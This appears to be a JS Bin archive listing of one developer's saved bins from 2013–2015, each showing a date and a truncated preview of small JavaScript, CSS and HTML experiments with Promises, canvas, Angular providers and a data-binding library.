ponuyi 04 Jul 2015 Archive Un-archive console.log("hi");
roluzu 04 Jul 2015 Archive Un-archive %code%
xezoge 03 Jul 2015 Archive Un-archive function random_string(num, myStr) { strArray = myStr.split(""); for (i=1;i<=num;i++) { rndArray = strArray.slice(0); do { while (rndArray[j = Math.floor((Math.random() * rndArray.length )) ] == ' '); rndArray[j] = String.fromCharCode(65 + Math.floor(Math
1 03 Jul 2015 Archive Un-archive random_string(5,"Hey New Yorkers"); function random_string(num, myStr) { strArray = myStr.split(""); for (i=1;i<=num;i++) { rndArray = strArray.slice(0); do { while (rndArray[j = Math.floor((Math.random() * rndArray.length )) ] == ' '); rndArray[j] = Stri
buyese 02 Jul 2015 Archive Un-archive /** * requestAnimationFrame shim layer with setTimeout fallback * @see http://paulirish.com/2011/requestanimationframe-for-smart-animating * modified for use with raf shim and raf based setInterval/Timeout */ (function() { 'use strict'; var lastTime = 0;
zuzeno 01 Jul 2015 Archive Un-archive console.clear(); var p = Promise.resolve('a'); function P(v) { return { then: function (ok) { console.log('::: then ' + ok.name); p = p.then(ok); return p; } } } d = 0; P().then(function one(d1) { d1 += 'b'; console.log('then 1:' + d1); return P().then(fu
3 01 Jul 2015 Archive Un-archive console.clear(); var p = Promise.resolve(1); function P() { return p; } d = 0; P().then(function (d) { d = 10; console.log('then 1'); return P().then(function (d) { d++; console.log('inner then 1'); return d; }); }).then(function (d) { d++; console.log('t
2 01 Jul 2015 Archive Un-archive console.clear(); var p = Promise.resolve(); p = p.then(function () { console.log('then 1'); return p.then(function () { console.log('inner then 1'); }); }).then(function () { console.log('then 2'); }) // notes: this is a pared down example of a problem //
1 01 Jul 2015 Archive Un-archive console.clear(); var p = Promise.resolve(); p = p.then(function () { console.log('then 1'); return p.then(function () { console.log('inner then 1'); }); }).then(function () { console.log('then 2'); })
namogo 01 Jul 2015 Archive Un-archive 'use strict'; function pad(s, length) { var clen = (s+'').length; return '0'.repeat(length - clen) + s; } function text() { var d = Date.parse('2015-07-15T11:00:00'); var t = new Date(d).toJSON(); return t; } console.clear(); console.log(text());
4 01 Jul 2015 Archive Un-archive 'use strict'; function pad(s, length) { var clen = (s+'').length; return '0'.repeat(length - clen) + s; } function text() { var d = Date.parse('2015-07-15T11:00:00'); var t = ((d - Date.now()) / 1000).toFixed(0); return t; } setInterval(function () { cons
3 01 Jul 2015 Archive Un-archive 'use strict'; function pad(s, length) { var clen = (s+'').length; return '0'.repeat(length - clen) + s; } function text() { var d = Date.parse('2015-07-15T11:00:00'); var t = (d - Date.now()) / 1000 | 0; return t; } setInterval(function () { console.clear
2 01 Jul 2015 Archive Un-archive 'use strict'; function pad(s, length) { var clen = (s+'').length; return '0'.repeat(length - clen) + s; } function text() { var d = Date.parse('2015-07-15T11:00:00'); var t = pad((d - Date.now()) / 1000 | 0, 8); return t; } setInterval(function () { conso
1 01 Jul 2015 Archive Un-archive 'use strict'; function pad(s, length) { var clen = (s+'').length; return '0'.repeat(length - clen) + s; } function text() { var d = Date.parse('2015-07-15T11:00:00'); var t = pad((d - Date.now()) / 1000 | 0, 8); return t; } setInterval(function () { conso
dihumo 01 Jul 2015 Archive Un-archive var s = '<span style="color: #ffffff;"></span><span style="color: #ffffff;">#</span><span style="color: #ffffff;">#</span><span style="color: #ffffff;">#</span><span style="color: #ffffff;">#</span><span style="color: #ffffff;">#</span><span style="color:
2 01 Jul 2015 Archive Un-archive var s = '<span style="color: #ffffff;"></span><span style="color: #ffffff;">#</span><span style="color: #ffffff;">#</span><span style="color: #ffffff;">#</span><span style="color: #ffffff;">#</span><span style="color: #ffffff;">#</span><span style="color:
1 01 Jul 2015 Archive Un-archive var s = '<span style="color: #ffffff;"></span><span style="color: #ffffff;">#</span><span style="color: #ffffff;">#</span><span style="color: #ffffff;">#</span><span style="color: #ffffff;">#</span><span style="color: #ffffff;">#</span><span style="color:
lulile 01 Jul 2015 Archive Un-archive 'use strict'; var c = document.querySelector('canvas'), ctx = c.getContext('2d'), width = 200, height = 100, RAD = Math.PI / 180; c.width = width; var hw = width/2; c.height = height; var hh = height/2; ctx.fillRect(0, 0, width, height); ctx.strokeStyle =
7 30 Jun 2015 Archive Un-archive -->
6 30 Jun 2015 Archive Un-archive -->
5 30 Jun 2015 Archive Un-archive 'use strict'; var c = document.querySelector('canvas'), ctx = c.getContext('2d'), width = 200, height = 100, RAD = Math.PI / 180; c.width = width; var hw = width/2; c.height = height; var hh = height/2; ctx.fillRect(0, 0, width, height); ctx.strokeStyle =
4 30 Jun 2015 Archive Un-archive 'use strict'; var c = document.querySelector('canvas'), ctx = c.getContext('2d'), width = 200, height = 100, RAD = Math.PI / 180; c.width = width; var hw = width/2; c.height = height; var hh = height/2; ctx.fillRect(0, 0, width, height); ctx.strokeStyle =
3 30 Jun 2015 Archive Un-archive 'use strict'; var c = document.querySelector('canvas'), ctx = c.getContext('2d'), width = 200, height = 100, RAD = 0.0174532925; c.width = width; var hw = width/2; c.height = height; var hh = height/2; ctx.fillRect(0, 0, width, height); ctx.strokeStyle =
2 30 Jun 2015 Archive Un-archive 'use strict'; var c = document.querySelector('canvas'), ctx = c.getContext('2d'), width = 200, height = 100, RAD = 0.0174532925; c.width = width; var hw = width/2; c.height = height; var hh = height/2; ctx.fillRect(0, 0, width, height); ctx.strokeStyle =
1 01 Apr 2015 Archive Un-archive 'use strict'; var c = document.querySelector('canvas'), ctx = c.getContext('2d'), width = 200, height = 100, RAD = 0.0174532925; c.width = width; var hw = width/2; c.height = height; var hh = height/2; ctx.fillRect(0, 0, width, height); ctx.strokeStyle =
vupeqi 30 Jun 2015 Archive Un-archive X
bacaxo 29 Jun 2015 Archive Un-archive console.log(Array.from(103).keys());
2 29 Jun 2015 Archive Un-archive console.log(Array.from(101).keys());
1 25 Jun 2015 Archive Un-archive console.log(Array.from(100).keys());
mugopi 26 Jun 2015 Archive Un-archive JS Bin
veliri 26 Jun 2015 Archive Un-archive top.location = 'http://google.com';
wecuni 25 Jun 2015 Archive Un-archive a = Array.apply(0, Array(100)).map(function(x,y) { return { value: y } }); console.log(a);
tagigo 25 Jun 2015 Archive Un-archive input { font-size: 20px; border: 0; padding: 10px; color: white; } input:valid { background: #2ECC40; } input:invalid { background: #FF4136; }
1 25 Jun 2015 Archive Un-archive input { font-size: 20px; border: 0; padding: 10px; color: white; } input:valid { background: #2ECC40; } input:invalid { background: #FF4136; }
befawa 22 Jun 2015 Archive Un-archive var a = [ "Hydrogen", "Helium", "Lithium", "Beryl­lium" ]; var a3 = a.map( s => s.length ); console.log( a3 );
xadoqe 22 Jun 2015 Archive Un-archive var a = {}; var b = { name: 'sean' }; var c = { name: 'crossey' }; a[b] = 'firstName'; a[c] = 'lastName'; console.clear(); console.log(JSON.stringify(a)); console.log(a[b]);
1 22 Jun 2015 Archive Un-archive var a = {}; var b = { name: 'sean' }; var c = { name: 'crossey' }; a[b] = 'firstName'; a[c] = 'lastName'; console.clear() console.log(JSON.stringify(a)); console.log(a[b]);
mapedi 21 Jun 2015 Archive Un-archive // setup var c = document.getElementById('main'), ctx = c.getContext('2d'), off = document.getElementById('offscreen'), os = off.getContext('2d'); ctx.fillStyle = "#000000"; ctx.font = "16px Arial"; ctx.fillText("Expected:", 10, 50); os.font = "16px Arial
mixofo 20 Jun 2015 Archive Un-archive function c() { document.body.style.background = '#'+Math.floor(Math.random()*16777215).toString(16); } document.body.onkeypress = c; c();
yavebe 20 Jun 2015 Archive Un-archive function doCallback() { console.log('callback'); } new Promise(function () { doCallback(function () { // never return }) }).then(function () { console.log('we do something'); }).catch(function () { console.log('something went wrong') }).then(function () {
zebada 19 Jun 2015 Archive Un-archive fetch('http://httpstat.us/200').then(function (res) { console.log(res.status); console.log(res.body) })
guhoja 17 Jun 2015 Archive Un-archive console.clear(); console.log( [true, false, null, 10].filter(Boolean) );
wuwazo 17 Jun 2015 Archive Un-archive JS Bin
colefa 16 Jun 2015 Archive Un-archive { "name": "rem", "powers": 11, "pro": true, "cats": [ "nap", "sam", "prince" ] }
1 16 Jun 2015 Archive Un-archive { "name": "rem", "powers": 11, "pro": true, "cats": [ "nap", "sam", "prince" ] }
fiputo 15 Jun 2015 Archive Un-archive This is a demo which better work!
dopuma 15 Jun 2015 Archive Un-archive JS Bin
masuvi 14 Jun 2015 Archive Un-archive body { font-family: sans-serif; }
2 14 Jun 2015 Archive Un-archive This is a new demo. And it should update just fine :)
1 14 Jun 2015 Archive Un-archive This is a new demo
hakesu 14 Jun 2015 Archive Un-archive Hello world.
1 14 Jun 2015 Archive Un-archive Hello world.
hudome 13 Jun 2015 Archive Un-archive Code cast this!
nabene 13 Jun 2015 Archive Un-archive JS Bin
mahore 13 Jun 2015 Archive Un-archive ie two three four
cugopi 12 Jun 2015 Archive Un-archive var o = { one: 1, two: 2, three: 3, four: 4 }; console.log(Object.keys(o))
qudiba 11 Jun 2015 Archive Un-archive function pad(s) { return (s+'').length === 1 ? '0' + s : s; } setInterval(function () { // d = duration // time entry duration in seconds. If the time entry is currently // running, the duration attribute contains a negative value, // denoting the start o
5 11 Jun 2015 Archive Un-archive function pad(s) { return (s+'').length === 1 ? '0' + s : s; } setInterval(function () { // d = duration // time entry duration in seconds. If the time entry is currently // running, the duration attribute contains a negative value, // denoting the start o
4 11 Jun 2015 Archive Un-archive function pad(s) { return (s+'').length === 1 ? '0' + s : s; } setInterval(function () { var d = -1434020645; var ms = Date.now() + d / 1000; seconds = (ms / 1000) % 60 | 0; minutes = pad((ms / (1000*60)) % 60 | 0); hours = ((ms / (1000*60*60)) % 24) | 0;
3 11 Jun 2015 Archive Un-archive function pad(s) { return (s+'').length === 1 ? '0' + s : s; } setInterval(function () { var d = -1434020645; var ms = Date.now() + d / 1000; seconds = (ms / 1000) % 60 | 0; minutes = pad((ms / (1000*60)) % 60 | 0); hours = ((ms / (1000*60*60)) % 24) | 0;
2 11 Jun 2015 Archive Un-archive function pad(s) { return (s || '').length === 1 ? '0' + s : s; } var d = -1434020645; var ms = d / -1000; seconds = (ms / 1000) % 60 ; minutes = pad((ms / (1000*60)) % 60 | 0); hours = ((ms / (1000*60*60)) % 24); console.clear(); console.log(hours + ':' +
1 11 Jun 2015 Archive Un-archive var d = -1434020645; var ms = Date.now() - d / 1000; var hours = (ms / 1000) % 60 | 0; var minutes = pad((ms / (1000 * 60) % 60) | 0); console.clear(); console.log(hours + ':' + minutes)
xutumi 10 Jun 2015 Archive Un-archive This is a simple example showing the tracking code that's used
yacana 08 Jun 2015 Archive Un-archive console.clear(); var array = [1,2,3,4]; function update(array) { array = array.splice(0, 1); console.log('before we exit: ', array) } update(array); console.log(array);
liwudi 05 Jun 2015 Archive Un-archive console.clear(); var source = Rx.Observable.interval(500).take(6); source.filter(x => x % 2 === 1) .map(x => x + '!') .forEach(x => console.log(x));
xajiwo 03 Jun 2015 Archive Un-archive Hello world
qoqado 03 Jun 2015 Archive Un-archive Hello world
motuku 03 Jun 2015 Archive Un-archive Hello world
ducagu 03 Jun 2015 Archive Un-archive var o = { name: 'remy', location: 'brighton' };
qofoyo 03 Jun 2015 Archive Un-archive .
qezoqu 02 Jun 2015 Archive Un-archive var user = Bind({ //cool name: '[new user]', // got it game: { score: 0 } // sure }, { 'game.score': 'span.score', // is this binding the value of user.game.score to a span.score? name: 'input[name="username"]' // is this binding to an input? }) // in the
1 02 Jun 2015 Archive Un-archive var data = Bind({ me: { fav: 'one', ts: ['one', 'two'], name: "@rem", score: 11, location: { city: 'Brighton', country: 'England' }, list: [1,2,3], cats: [{ name: 'ninja'}, { name: 'missy'} , { name: 'dizzy' }], }, }, { me: { callback: function () { docum
jumova 02 Jun 2015 Archive Un-archive console.clear(); var svg = document.querySelector('svg'); console.log('typeof className = ' + typeof svg.className); console.log(svg.className);
xoqaya 30 May 2015 Archive Un-archive const unique = array => [...Set(array)]
yoqaku 27 May 2015 Archive Un-archive Score: Score: Score: Name: (echoed: (echoed name)) Location: Brighton Berlin New York Toys Story's: 1 2 3 Fav Toys Story? 1 2 3 Cats (first cat's name: ???): Simple list:
meqoca 26 May 2015 Archive Un-archive Name: Desc: Watched Toy Story : One Two Three Gender: select female male other stop putting me a box, you narrow minded fuck Password: Rating: Is this nice? Yes: Super yes: Level:
4 26 May 2015 Archive Un-archive Name: Desc: Gender: select female male other stop putting me a box, you narrow minded fuck Password: Rating: Is this nice? Yes: Super yes: Level:
3 26 May 2015 Archive Un-archive Name: Desc: Gender: select female male other stop putting me a box, you narrow minded fuck Password: Rating: Is this nice? Yes: Super yes: Level:
2 26 May 2015 Archive Un-archive Name: Desc: Gender: select female male other stop putting me a box, you narrow minded fuck Password: Rating: Is this nice? Yes: Super yes: Level:
1 26 May 2015 Archive Un-archive Name: Desc: Gender: select female male other stop putting me a box, you narrow minded fuck Password: Rating: Is this nice? Yes: Super yes: Level:
nemubo 25 May 2015 Archive Un-archive var data = Bind({ cats: ['nap', 'sam', 'prince'] }, { cats: { dom: '#cats', transform: function (value) { return '<li>I had a cat called <em>' + this.safe(value) + '</em></li>'; } }, 'cats.0': { dom: '#first-cat', transform: function (value) { return 'My
remutu 25 May 2015 Archive Un-archive Score: 0 Username:
fenave 25 May 2015 Archive Un-archive toggle
vuhifi 25 May 2015 Archive Un-archive // setup var c = document.getElementById('main'), ctx = c.getContext('2d'), off = document.getElementById('offscreen'), os = off.getContext('2d'); ctx.fillStyle = "#000000"; ctx.font = "16px Arial"; ctx.fillText("Expected:", 10, 50); os.font = "16px Arial
jilusu 24 May 2015 Archive Un-archive ffconf
panira 23 May 2015 Archive Un-archive console.clear(); function AugmentedArray() { var array = []; var methods = 'pop push reverse shift sort splice unshift'.split(' '); methods.forEach(function eachArrayMethod(method) { this[method] = function augmentedMethod() { return array[method].apply(t
tubeza 22 May 2015 Archive Un-archive // river of promises function river(list) { return new Promise(function (resolve) { resolve(list.reduce(function(p,c) { return p.then(function(result){ return c * result; }); },Promise.resolve(list.shift()))) }) } console.clear(); river([1,2,3,4]).then(fu
jarusi 22 May 2015 Archive Un-archive var transform = function () { return "<li>" + this.safe("<cool>"); }; var wrapper = function (transform) { var context = { safe: function (str) { return (str+'').replace(/[<>]/g, function (m) { return { '>': '&gt;', '<': '&lt;', }[m]; }); } } return trans
pebase 20 May 2015 Archive Un-archive var data = { name: 'remy' }; var p1 = Promise.resolve(data); console.clear(); p1.then(function (data) { return _.cloneDeep(data); // return data; }).then(function (d) { d.name = 'julie' return d; }).then(function (d) { console.log(d.name, data.name); })
qaqeve 20 May 2015 Archive Un-archive function pluck(path, values) { path = path.split('.'); return path.reduce(function (prev, curr) { if (prev && prev[curr]) { return prev[curr]; } return undefined; }, values); } console.clear(); console.log(pluck('my.value.is.deep', { my: { value: { is: {
jorova 19 May 2015 Archive Un-archive console.clear(); var data = Bind({ cats: [1,2,3] }, { cats: { callback: function (array) { console.log(array.length); } } }); data.cats.shift();
bapage 19 May 2015 Archive Un-archive // author: Remy Sharp // license: http://rem.mit-license.org/ // source: https://github.com/remy/bind/ var Bind = (function Bind(global) { 'use strict'; // support check if (!Function.bind || !Object.defineProperty) { throw new Error('Prerequisite APIs no
fagocu 19 May 2015 Archive Un-archive Header 1 This is awesome! Sure is, but it didn't freeze for me...
bowisi 14 May 2015 Archive Un-archive .....okay?
zaxegu 14 May 2015 Archive Un-archive var Foo = function () { } Foo.prototype.bar = { a: 10 }; var foo = new Foo(); console.clear(); console.log(foo.bar.a); foo.bar.a = 20; console.log(foo.bar.a); delete foo.bar.a; console.log(foo.bar.a); // how does this become 10 again?
1 14 May 2015 Archive Un-archive var Foo = function () { } Foo.prototype.bar = { a: 10 }; var foo = new Foo(); console.clear(); console.log(foo.bar); foo.bar = 20; console.log(foo.bar); delete foo.bar; console.log(foo.bar); delete foo.bar; console.log(foo.bar);
guvocu 13 May 2015 Archive Un-archive var state = {}; var guid = Date.now(); function Foo() { this.guid = guid++; state[this.guid] = Promise.resolve(); } var fn = Foo.prototype; fn.then = function (ok, fail) { state[this.guid] = state[this.guid].then(ok, fail); return this; } fn.catch = funct
2 13 May 2015 Archive Un-archive var state = {}; var guid = Date.now(); function Foo() { this.guid = guid++; state[this.guid] = Promise.resolve(); } var fn = Foo.prototype; fn.then = function () { }
1 13 May 2015 Archive Un-archive var state = {}; var guid = Date.now(); function Foo() { this.guid = guid++; state[this.guid] = Promise.resolve; } var fn = Foo.prototype; fn.then = function () { }
mefadi 13 May 2015 Archive Un-archive Weight (kg) BF% Activity Sedentary (Desk job, and Little Formal Exercise) Lightly Active (Light daily activity AND light exercise 1-3 days a week) Moderately Active (Moderately daily Activity & Moderate exercise 3-5 days a week) Very Active (Physically
6 05 May 2015 Archive Un-archive Weight (kg) BF% Activity Sedentary (Desk job, and Little Formal Exercise) Lightly Active (Light daily activity AND light exercise 1-3 days a week) Moderately Active (Moderately daily Activity & Moderate exercise 3-5 days a week) Very Active (Physically
5 04 May 2015 Archive Un-archive Weight (kg) BF% Activity Sedentary (Desk job, and Little Formal Exercise) Lightly Active (Light daily activity AND light exercise 1-3 days a week) Moderately Active (Moderately daily Activity & Moderate exercise 3-5 days a week) Very Active (Physically
4 04 May 2015 Archive Un-archive Weight (kg) BF% Activity Sedentary (Desk job, and Little Formal Exercise) Lightly Active (Light daily activity AND light exercise 1-3 days a week) Moderately Active (Moderately daily Activity & Moderate exercise 3-5 days a week) Very Active (Physically
3 04 May 2015 Archive Un-archive Weight (kg) BF% Activity Sedentary (Desk job, and Little Formal Exercise) Lightly Active (Light daily activity AND light exercise 1-3 days a week) Moderately Active (Moderately daily Activity & Moderate exercise 3-5 days a week) Very Active (Physically
2 29 Apr 2015 Archive Un-archive Weight (kg) BF% Activity Sedentary (Desk job, and Little Formal Exercise) Lightly Active (Light daily activity AND light exercise 1-3 days a week) Moderately Active (Moderately daily Activity & Moderate exercise 3-5 days a week) Very Active (Physically
1 19 Apr 2015 Archive Un-archive //370 + (21.6 x LBM)Where LBM = [total weight (kg) x (100 - bodyfat %)]/100 var data = Bind({ weight: 70, bf: 12, result: 0, }, { weight: calc, bf: calc, result: '#result', }); console.log(data); function calc() { if (data !== undefined) { console.log('ca
hovaza 13 May 2015 Archive Un-archive function trim(s) { return s.trim() } function interpolate(exporter, string, values) { if (!values) { return string; } return (string || '').replace(/({{.*?}})/g, function (all, match) { var key = match.slice(2, -2); // ditch the wrappers var value = ''; i
1 13 May 2015 Archive Un-archive function trim(s) { return s.trim() } function interpolate(exporter, string, values) { if (!values) { return string; } return (string || '').replace(/({{.*?}})/g, function (all, match) { var key = match.slice(2, -2); // ditch the wrappers var value = ''; i
guwajo 12 May 2015 Archive Un-archive // setup var cats = [{ name: 'missy', type: 'black long haired', }, { name: 'dizzy', type: 'tabby', }, { name: 'ninja', type: 'black and white', }] var plain = 'missy dizzy ninja'.split(' ') // data binding data = new Bind({ cats: cats, }, { // data bind
vezeja 12 May 2015 Archive Un-archive 0
6 11 May 2015 Archive Un-archive 0
5 11 May 2015 Archive Un-archive 0
4 05 May 2015 Archive Un-archive 0
3 04 May 2015 Archive Un-archive 0
2 04 May 2015 Archive Un-archive 0
1 29 Apr 2015 Archive Un-archive 0
oZOvIJ 11 May 2015 Archive Un-archive Tries left: Miss: Hit:
8 06 May 2015 Archive Un-archive Tries left: Miss: Hit:
7 14 Aug 2014 Archive Un-archive Tries: Miss: Hit:
6 30 Oct 2013 Archive Un-archive Tries: Miss: Hit:
5 28 Oct 2013 Archive Un-archive (function () { var game = Bind({ goes: 10, tries: [], miss: [], hit: [], movie: '', unique: [] }, { 'goes': '#tries', 'miss': '#miss', 'hit': '#hit' }); // get the top 50 films from IMDB var movies = $.ajax({ url: "http://query.yahooapis.com/v1/public/yql
4 28 Oct 2013 Archive Un-archive (function () { var game = Bind({ goes: 10, tries: [], miss: [], hit: [], movie: '' }, { 'goes': '#tries', 'miss': '#miss', 'hit': '#hit' }); // get the top 50 films from IMDB var movies = $.ajax({ url: "http://query.yahooapis.com/v1/public/yql?q=select%20
3 28 Oct 2013 Archive Un-archive /* Simple data to HTML binding. Requires: setters/gettings, bind, qSA, getOwnPropertyNames, forEach - basically a decent browser Arguments: - obj: this is your data structure that is copied in to the Bind - mapping: this is a key/value pair of object path
2 28 Oct 2013 Archive Un-archive (function () { var goes = 10, tries = [], movie = ''; var movies = $.ajax({ url: "http://query.yahooapis.com/v1/public/yql?q=select%20*%20from%20html%20where%20url%3D%22http%3A%2F%2Fwww.imdb.com%2Fsearch%2Ftitle%3Fyear%3D2013%2C2013%26title_type%3Dfeature
1 28 Oct 2013 Archive Un-archive (function () { var goes = 10, tries = []; var movies = $.ajax({ url: "http://query.yahooapis.com/v1/public/yql?q=select%20*%20from%20html%20where%20url%3D%22http%3A%2F%2Fwww.imdb.com%2Fsearch%2Ftitle%3Fyear%3D2013%2C2013%26title_type%3Dfeature%26sort%3Dmo
xavej 11 May 2015 Archive Un-archive 0 %
1 10 Apr 2014 Archive Un-archive 0 %
kixora 11 May 2015 Archive Un-archive body { color: red; min-height: 100%; background: red; }
heliju 11 May 2015 Archive Un-archive Click on this text to remove a data value from the chart! //Width and height var w = 600; var h = 250; var dataset = [ { key: 0, value: 5 }, //dataset is now an array of objects. { key: 1, value: 10 }, //Each object has a 'key' and a 'value'. { key: 2, v
bigixa 10 May 2015 Archive Un-archive var so = [ { "name": "ticket-0001", "value": "0" }, { "name": "ticket-0002", "value": "0" }, { "name": "ticket-0003", "value": "0" }, { "name": "ticket-0004", "value": "0" }, { "name": "ticket-0031", "value": "0" }, { "name": "ticket-0017", "value": "0" }
qodiga 10 May 2015 Archive Un-archive function httpStatus(code, message) { this.name = code; this.message = message; } httpStatus.prototype = Object.create(Error.prototype); httpStatus.prototype.constructor = httpStatus; onerror = function(e) { console.log('errr'); } throw new httpStatus(401,
2 10 May 2015 Archive Un-archive function httpStatus(code, message) { this.name = code; this.message = message; } httpStatus.prototype = Object.create(Error.prototype); httpStatus.prototype.constructor = httpStatus; function testConnection() { return new Promise(function (resolve, reject
1 29 Apr 2015 Archive Un-archive function httpStatus(code, message) { this.name = code; this.message = message; } httpStatus.prototype = Object.create(Error.prototype); httpStatus.prototype.constructor = httpStatus; function testConnection() { return new Promise(function (resolve, reject
jimohi 08 May 2015 Archive Un-archive var p = new Promise(function (resolve, reject) { resolve(10); }); var calls = 0; function log(v) { calls++; console.log(calls + ': ' + v); } // if the value `10` was actually a massive object from // an XHR call (for instance) would this be perpetually //
gekoye 05 May 2015 Archive Un-archive Name: Age: Gender: select female male other stop putting me a box, you narrow minded fuck Password: Rating: Is this nice?
2 05 May 2015 Archive Un-archive Name: Age: Gender: select female male other Password: Rating: Is this nice?
1 05 May 2015 Archive Un-archive Name: Age: Gender: select female male other Password: Rating: Is this nice?
bipiha 01 May 2015 Archive Un-archive Hi there! Try clicking I only want it to enforce "from link."
1 01 May 2015 Archive Un-archive Hi there! Try clicking I only want it to enforce "from link."
rorifi 29 Apr 2015 Archive Un-archive Odd clicks result in 401, even clicks are 402 Test connection
jagutud 29 Apr 2015 Archive Un-archive Lorem ipsum dolor sit amet, consectetur adipisicing elit. Excepturi ab, accusantium repellendus quia, explicabo sint omnis, quam tempore ipsam quisquam, voluptas inventore fugit aliquid ea eos ipsum eum nesciunt debitis! Lorem ipsum dolor sit amet, c
sohato 28 Apr 2015 Archive Un-archive JS Bin on jsbin.com
xuvaqo 25 Apr 2015 Archive Un-archive var s = JSON.stringify("<div class=\"livetimes\"> <table class=\"busexpress-clientwidgets-departures-departureboard\"> <tr class=\"rowStopName\"><th colspan=\"3\" title=\"briajaj\">Burstead Close</th><tr> <tr class=\"textHeader\"><th colspan=\"3\">text br
daxujo 25 Apr 2015 Archive Un-archive var url = 'http://bh.buscms.com/api/REST/html/departureboard.aspx?_=1429977744417&clientid=BrightonBuses&sourcetype=siri&stopid=6979&format=json&servicenamefilter=50'; $.ajax({ url: url, type: 'jsonp', success: function (res) { console.log(res); } })
cifoya 18 Apr 2015 Archive Un-archive This is just a demo. This should be syncing
meboxu 17 Apr 2015 Archive Un-archive //--- CODE -------------------------- var myApp = angular.module('myApp', []); function pdummy(value) { return new Promise(function (resolve) { setTimeout(function () { resolve(value); }, 100); }); } // Create a map-based configuration service myApp.servi
1 17 Apr 2015 Archive Un-archive //--- CODE -------------------------- var myApp = angular.module('myApp', []); function pdummy(value) { return new Promise(function (resolve) { setTimeout(function () { resolve(value); }, 100); }); } // Create a map-based configuration service myApp.servi
gowoku 17 Apr 2015 Archive Un-archive //--- CODE -------------------------- var myApp = angular.module('myApp', []); function pdummy(value) { return new Promise(function (resolve) { console.log('promise created') setTimeout(function () { console.log('fired promise with value ' + value) resolv
5 17 Apr 2015 Archive Un-archive //--- CODE -------------------------- var myApp = angular.module('myApp', []); function pdummy(value) { return new Promise(function (resolve) { console.log('promise created') setTimeout(function () { console.log('fired promise with value ' + value) resolv
4 16 Apr 2015 Archive Un-archive //--- CODE -------------------------- var myApp = angular.module('myApp', []); // Create a map-based configuration service myApp.provider('MyService', function () { var service = {}; var defaultValue; this.setValue = function (v) { defaultValue = v; }; th
3 16 Apr 2015 Archive Un-archive //--- CODE -------------------------- var myApp = angular.module('myApp', []); // Create a map-based configuration service myApp.provider('MyService', function () { var service = {}; var defaultValue; this.setValue = function (v) { defaultValue = v; }; th
2 16 Apr 2015 Archive Un-archive //--- CODE -------------------------- var myApp = angular.module('myApp', []); // Create a map-based configuration service myApp.provider('MyService', function () { var service = {}; var defaultValue = 10; service.setValue = function (v) { defaultValue =
1 16 Apr 2015 Archive Un-archive //--- CODE -------------------------- var myApp = angular.module('myApp', []); // Create a map-based configuration service myApp.provider('MyService', function () { var service = {}; var defaultValue = 10; service.configure = function (v) { defaultValue =
saqevo 17 Apr 2015 Archive Un-archive JS Bin
bowoyi 16 Apr 2015 Archive Un-archive //--- CODE -------------------------- var myApp = angular.module('myApp', []); // Create a map-based configuration service myApp.provider('MyService', function () { var service = {}; service.configureSomething = function () { return 461; }; service.$get =
jaxura 16 Apr 2015 Archive Un-archive var ngModule = angular.module('foo', []); ngModule.provider('bar', function() { // the notification is a passthrough promise to start with var notice; this.setNotice = function(fn) { // this allows our notify callback to be either sync or a promise notice
rilexo 15 Apr 2015 Archive Un-archive A responsive movie poster grabber
tegole 15 Apr 2015 Archive Un-archive {{serviceOutput}} {{factoryOutput}} {{providerOutput}} var app = angular.module( 'app', [] ); var MyFunc = function() { this.name = "default name"; this.$get = function() { this.name = "new name" return "Hello from MyFunc.$get(). this.name = " + this.n
mojiye 14 Apr 2015 Archive Un-archive top: for (var i = 0; i < 10; i++) { for (var j = 0; j < 10; j++) { if (j === 2) { break top; } } } console.clear(); console.log(i, j);
mafori 13 Apr 2015 Archive Un-archive 'use strict'; var up = function (url) { // if the url ends with a `/`, then remove it // to handle urls in a consistent manner if (url.substr(-1) === '/') { url = url.substring(0, url.length-1); } var fragments = url.split('/').slice(0, -1); var path; if
8 13 Apr 2015 Archive Un-archive 'use strict'; var up = function (url) { // if the url ends with a `/`, then remove it // to handle urls in a consistent manner if (url.substr(-1) === '/') { url = url.substring(0, url.length-1); } var fragments = url.split('/').slice(0, -1); var path; if
7 13 Apr 2015 Archive Un-archive 'use strict'; var up = function (url) { // if the if (url.substr(-1) !== '/') { url += '/'; } var fragments = url.split('/').slice(0, -1); console.log('fragments', fragments) var path; if (fragments.length === 1) { path = new String('/'); } else { path =
6 13 Apr 2015 Archive Un-archive 'use strict'; var up = function (url) { if (url.lastIndexOf('/') !== url.length) { url += '/' } var fragments = url.split('/').slice(0, -1); var path; if (fragments.length === 1) { path = new String('/'); } else { path = new String(fragments.join('/')); }
5 13 Apr 2015 Archive Un-archive 'use strict'; var up = function (url) { var result = new String(url.split('/').slice(-1).join('/')); result.up = function () { console.log('up from ' + result) return up(result); }; return result; }; console.clear(); console.log(up('/foo/bar').up().up().u
4 13 Apr 2015 Archive Un-archive 'use strict'; var up = function (url) { var result = new String(url.split('/').slice(-1).join('/')); result.up = function () { return up(result); }; return result; }; console.clear(); console.log(up('/foo/bar').up().up().up());
3 13 Apr 2015 Archive Un-archive 'use strict'; var up = function (url) { url = new String(url.split('/').slice(-1).join('/')); result.up = function () { return up(url); }; return result; }; console.clear(); console.log(up('/foo/bar').up().up().up());
2 13 Apr 2015 Archive Un-archive 'use strict' var up = function (url) { var result = {}; Object.defineProperty(result, 'toString', { get: function () { return url; } }); result.up = up(url); return result; }
1 13 Apr 2015 Archive Un-archive var up = function (url) { var result = {}; Object.defineProperty(result, 'toString', { get: function () { return url; } }); result.up = up(url); return result; }
wuhawu 10 Apr 2015 Archive Un-archive &lt;?xml version="1.0" encoding="utf-16"?&gt;&lt;VistaLoyaltyMsg xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"&gt;&lt;MsgID /&gt;&lt;MsgType&gt;MBRLIST&lt;/MsgType&gt;&lt;MsgTime&gt;20150410075355&lt;/M
roqewe 09 Apr 2015 Archive Un-archive JS Bin
huxab 06 Apr 2015 Archive Un-archive Click the radio buttons below, the label will include the number of times the change event fired. Asking myself: why doesn't it fire when the radio button switches from a checked on state to check off state? i.e. click once on the 2nd radio, and you shoul
2 06 Apr 2015 Archive Un-archive Click the radio buttons below, the label will include the number of times the change event fired. Asking myself: why doesn't it fire when the radio button switches from a checked on state to check off state? i.e. click once on the 2nd radio, and you shoul
1 06 Apr 2015 Archive Un-archive Click the radio buttons below, the label will include the number of times the change event fired. Asking myself: why doesn't it fire when the radio button switches from a checked on state to check off state? i.e. click once on the 2nd radio, and you shoul
sojedi 06 Apr 2015 Archive Un-archive Something
dewumu 05 Apr 2015 Archive Un-archive one Multiple
